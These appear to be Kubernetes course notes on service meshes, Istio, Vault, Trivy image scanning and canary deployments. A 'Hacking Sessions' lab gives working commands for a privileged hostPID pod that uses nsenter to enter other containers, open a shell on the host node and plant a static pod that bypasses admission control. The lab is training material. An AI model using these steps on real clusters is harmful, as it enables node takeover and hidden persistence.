2. Traffic management
3. Resilience & Reliability
4. Security
5. Service Discovery

Observability & monitoring

- Service mesh offers:
 - valuable insights into the communication between services
 - effective monitoring to help in troubleshooting application errors.

Traffic management

- Service mesh offers:
 - intelligent request distribution
 - load balancing,
 - support for canary deployments.
 - These capabilities enhance resource utilization and enable efficient traffic management

Resilience & Reliability

- By handling retries, timeouts, and failures,
 - service mesh contributes to the overall stability and resilience of services
 - reducing the impact of potential disruptions.

Security

- Service mesh enforces security policies, and handles authentication, authorization, and encryption
 - ensuring secure communication between services and eventually, strengthening the overall security posture of the application.

Service Discovery


- With service discovery features, service mesh can simplify the process of locating and routing services dynamically
 - adapting to system changes seamlessly. This enables easier management and interaction between services.

Overall benefits


Microservices communication:
Adopting a service mesh can simplify the implementation of a microservices architecture by abstracting away infrastructure complexities.
It provides a standardized approach to manage and orchestrate communication within the microservices ecosystem.

How does a ServiceMesh work? (example istio)

Overview




Istio control plane and data plane



• Source: kubebyexample.com

istio security features

Overview



Security overview

Security needs of microservices

- To defend against man-in-the-middle attacks, they need traffic encryption.
- To provide flexible service access control, they need mutual TLS and fine-grained access policies.
- To determine who did what at what time, they need auditing tools.

Implementation of security

The Istio security features provide strong identity, powerful policy, transparent TLS encryption, and authentication, authorization and audit (AAA) tools to protect your services and data. The goals of Istio security are:


- Security by default: no changes needed to application code and infrastructure
- Defense in depth: integrate with existing security systems to provide multiple layers of defense
- Zero-trust network: build security solutions on distrusted networks

istio-service mesh - ambient mode

Light: Only Layer 4 per node (ztunnel)


- No sidecar (envoy-proxy) per Pod, but one ztunnel agent per Node (Layer 4)
- Enables security features (mtls, traffic encryption)

Like so:



Full fledged: Layer 4 (ztunnel) per Node & Layer 7 per Namespace (

- One waypoint - proxy is rolled out per Namespace, which connects to the ztunnel agents



When additional features are needed, ambient mesh deploys waypoint proxies, which ztunnels connect through for policy enforcement

Features in "fully-fledged" - ambient - mode

Application deployment use case	Ambient mode configuration
Zero Trust networking via mutual-TLS, encrypted and tunneled data transport of client application traffic, L4 authorization, L4 telemetry	ztunnel only (default)
As above, plus advanced Istio traffic management features (including L7 authorization, telemetry and VirtualService routing)	ztunnel and waypoint proxies

Advantages:

- Less overhead
- One can start step-by-step moving towards a mesh (Layer 4 firstly and if wanted Layer 7 for specific namespaces)
- Old pattern: sidecar and new pattern: ambient can live side by side.

Performance comparison - baseline,sidecar,ambient

- <https://livewyver.io/blog/2024/06/06/comparison-of-service-meshes-part-two/>
- <https://github.com/livewyver-ops/poc-servicemesh2024/blob/main/docs/test-report-istio.md>

Passwörter speichern

HashiCorp Vault as Password Safe

Zentrale Externer Server mit 3 Nodes (Produktion)

3-Wege für Kubernetes Daten zu bekommen

- VSO (Vault Secrets Operator)
- SideCar Injection
- Volumes

VSO

- Ich bestücke eine neue CRT mit dem Wunsch eines Credentials "Vault Static Secret"

```
apiVersion: secrets.hashicorp.com/v1beta1
kind: VaultStaticSecret
metadata:
  name: webapp-config
  namespace: default
spec:
  # Reference to VaultAuth in another namespace
  vaultAuthRef: vault-secrets-operator-system/default

  # Vault mount path (where the secret engine is mounted)
  mount: secret

  # Path to the secret within the mount
  path: webapp/config

  # Type of secret engine
  type: kv-v2

  # Destination Kubernetes secret configuration
  destination:
    create: true
    name: webapp-secret
    type: Opaque

  # How often to refresh the secret from Vault
  refreshAfter: 30s
```

Nachteil

- Das automatisch erstellte Secret wird in etc gespeichert, solange wie das VaultStaticSecret existiert

Vault Sidecar Injector

Vorteile

- Sicherste Variante
- Es wird kein Secret erstellt, Passwort wird direkt im Pod zur Verfügung gestellt (in einer Datei)

Nachteile

- Relativ viele Einträge im Pod über Annotations zu machen, damit das funktioniert
- Overhead über SideCar (weil jeder Pod ein Sidecar bekommt)
- Bekommt mit, wenn sich das Passwort ändert

Volumes

Image Security

When to scan ?

When to scan ?

- In Development
- When Building Software (before pushing to the registry)
- Before Deploying Software
- In Production
- Ongoing in the registry itself

Conceptional Ideas

1. Scan the image when built before being pushed
2. In Kubernetes Cluster only images from your corporate private registry and k8s.io (Option: Only allow signed images, where signing is verified)
3. (Policy) To always pull when starting a new Deployment, Pod, Statefulset (private repo)

Why ?

- We want to be sure, our system is not compromised
- One way of compromising is a malicious image, that we use
- We want to avoid this.

Which approach do we take here....

- For our own images, that we build, we want to be sure, they are all "clean" before being pushed to the registry

Example Image Security Scanning - using gitlab and trivy

Pre-Thoughts

- Gitlab offers a security scanner based on Trivy
- BUT: This scanner tests already uploading images
- If we think about ShiftLeft-approach (Security early) on, this might not be the best option

What needs to be done ?

1. We want to scan directly after building the image, but before pushing
2. If we have vulnerabilities with CRITICAL-Score (CVE), the pipeline will fail (and it stops)
 - Image is not uploaded

Trivy modes

- Trivy can be used standalone or as client/server
- in our case, we will use it standalone

Demonstration:

- <https://gitlab.com/jmetzger/container-scanning-session>

```
stages:  
  - prebuild  
  - build  
  
prebuild:  
  stage: prebuild  
  image:  
    name: docker.io/curlimages/curl:8.3.0  
    entrypoint: [""]  
  script:  
    - curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b $CI_PROJECT_DIR v0.45.1  
    - curl -L --output - https://github.com/google/go-containerregistry/releases/download/v0.16.1/go-containerregistry_Linux_x86_64.tar.gz | tar -xz crane  
  artifacts:  
    paths:  
      - crane  
      - trivy  
  
build image:  
  stage: build  
  image:  
    name: gcr.io/kaniko-project/executor:v1.23.2-debug  
    entrypoint: [""]  
  variables:  
    DOCKER_IMAGE: "${CI_REGISTRY_IMAGE}:${CI_COMMIT_SHORT_SHA}"  
    TRIVY_INSECURE: "true"  
    TRIVY_NO_PROGRESS: "true"  
  script:  
    - /kaniko/executor  
      --context $CI_PROJECT_DIR  
      --dockerfile $CI_PROJECT_DIR/Dockerfile  
      --no-push  
      --tar-path image.tar  
    - ./trivy image  
      --ignore-unfixed  
      --exit-code 0  
      --severity HIGH  
      --input image.tar  
    - ./trivy image  
      --ignore-unfixed  
      --exit-code 1  
      --severity CRITICAL  
      --input image.tar  
    - ./crane auth login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY  
    - ./crane push image.tar $DOCKER_IMAGE
```

References:

- <https://bluelight.co/blog/how-to-set-up-trivy-scanner-in-gitlab-ci-guide>
- <https://gitlab.com/bluelightco/blog-examples/trivy>

Hacking Sessions

Hacking with HostPID

Step 1: Start first pod

```
cd  
mkdir -p manifests  
cd manifests  
mkdir hostpid  
cd hostpid
```

```
nano 01-masterpod.yaml
```

```
apiVersion: v1  
kind: Pod  
metadata:  
  labels:  
    run: hostmagic  
  name: hostmagic  
spec:  
  containers:  
    - command:  
      - nsenter  
      - --mount=/proc/1/ns/mnt  
      - --  
      - /bin/sleep  
      - 99d  
    image: alpine  
    name: me  
    securityContext:  
      privileged: true # superpower !  
  dnsPolicy: ClusterFirst  
  hostPID: true  
  nodeName: worker1
```

```
kubectl apply -f .
```

Step 2: Start a second pod on same node

```
cd  
mkdir -p manifests  
cd manifests  
mkdir hostpid  
cd hostpid
```

```
nano 02-nginx3.yaml
```

```
apiVersion: v1  
kind: Pod  
metadata:  
  labels:  
    run: nginx3  
  name: nginx3  
spec:  
  containers:  
    - image: nginx  
      name: nginx3  
  nodeName: worker1
```

```
kubectl apply -f .
```

Step 3: Find the nginx process and enter into its network namespace

```
kubectl exec -it hostmagic -- pgrep -a nginx
```

```
tln1@client:~/manifests/hostpid$ kubectl exec -it hostmagic -- pgrep -a nginx  
153770 nginx: master process nginx -g daemon off;  
153805 nginx: worker process  
153806 nginx: worker process
```

```
## ss is like netstat  
## show the open ports  
## we will go into the network namespace  
kubectl exec -it hostmagic -- nsenter -n -t 153770 ss -ln
```

Step 4: Getting into the mount namespace

```
## we can also go into the mount namespace and see the configuration file
kubectl exec -it hostmagic -- nsenter -m -t 153770 cat /etc/nginx/nginx.conf
```

Step 5: Show the namespaces of the pod (its compounds)

- That's essentially the container we

```
kubectl exec -it hostmagic -- ls -la /proc/153770/ns
```

Step 6: Break into the host system

```
## now open a bash on the host system
kubectl exec -it hostmagic -- nsenter -a -t 1 bash
```

Step 7: Sneak In your manifest

- This is done by kubelet (bypasses admissionController !)
- It listens on /etc/kubernetes/manifests folder
- What we see here is a static pod being created

```
cd /etc/kubernetes/manifests
nano nginxme.yaml
```

```
apiVersion: v1
kind: Pod
metadata:
  name: nginxme
spec:
  containers:
    - image: nginx
      name: me
```

Step 8: On Worker 1: is there new pod now ?

```
## cli for CRI / used whatever container runtime you have
cricltl
```

490c51ffdfa51	2 minutes ago	Ready	nginxme-worker1	default	0
(default)					

Ref: kubelet reading the folder /etc/kubernetes/manifests is there for backwards compatibility

- <https://github.com/kubernetes/kubeadm/issues/1541>

Extras

Canary deployment with basic kubernetes mechanisms

Phase 1: stable application (without canary)

```
cd
cd manifests
mkir ab
cd ab
```

```
## vi 01-cm-version1.yml
apiVersion: v1
kind: ConfigMap
metadata:
  name: nginx-version-1
data:
  index.html: |
    <html>
      <h1>Welcome to Version 1</h1>
      <br>
      <h1>Hi! This is a configmap Index file Version 1 </h1>
    </html>
```

```
## vi 02-deployment-v1.yml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deploy-v1
spec:
  selector:
```

```

matchLabels:
  version: v1
replicas: 20
template:
  metadata:
    labels:
      app: nginx
      version: v1
  spec:
    containers:
      - name: nginx
        image: nginx:latest
        ports:
          - containerPort: 80
        volumeMounts:
          - name: nginx-index-file
            mountPath: /usr/share/nginx/html/
    volumes:
      - name: nginx-index-file
        configMap:
          name: nginx-version-1

```

```

## vi 05-svc.yml
apiVersion: v1
kind: Service
metadata:
  name: my-nginx
  labels:
    svc: nginx
spec:
  type: ClusterIP
  ports:
    - port: 80
      protocol: TCP
  selector:
    app: nginx

```

```

kubectl apply -f .
kubectl run -it --rm podtest --image=busybox

```

```

## wget -O - http://my-nginx.default.svc.cluster.local
while [ true ]; do wget -O - http://my-nginx.default.svc.cluster.local; done

```

Step 2: Additional Deployment on top (only 2 vs. 20)

```
nano 03-cm-version2.yml
```

```

## vi 03-cm-version2.yml
apiVersion: v1
kind: ConfigMap
metadata:
  name: nginx-version-2
data:
  index.html: |
    <html>
      <h1>Welcome to Version 2</h1>
      <br>
      <h1>Hi! This is a configmap Index file Version 2 </h1>
    </html>

```

```
nano 04-deployment-v2.yml
```

```

## vi 04-deployment-v2.yml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deploy-v2
spec:
  selector:
    matchLabels:
      version: v2
  replicas: 2
  template:
    metadata:
      labels:
        app: nginx

```

```
version: v2
spec:
  containers:
    - name: nginx
      image: nginx:latest
      ports:
        - containerPort: 80
      volumeMounts:
        - name: nginx-index-file
          mountPath: /usr/share/nginx/html/
  volumes:
    - name: nginx-index-file
      configMap:
        name: nginx-version-2
```

```
kubectl apply -f .
kubectl run -it --rm podtest --image=busybox
```

```
## wget -O - http://my-nginx.default.svc.cluster.local
while [ true ]; do wget -O - http://my-nginx.default.svc.cluster.local; done
```

Documentation

Great video about attacking kubernetes - older, but some stuff is still applicable

- <https://www.youtube.com/watch?v=HmoVSmTIOxM>

Straight forward hacking session of kubernetes

- https://youtu.be/iD_klwHJQs?si=97rWNuAbGjLwCja

github with manifests for creating bad pods

- <https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#pod8>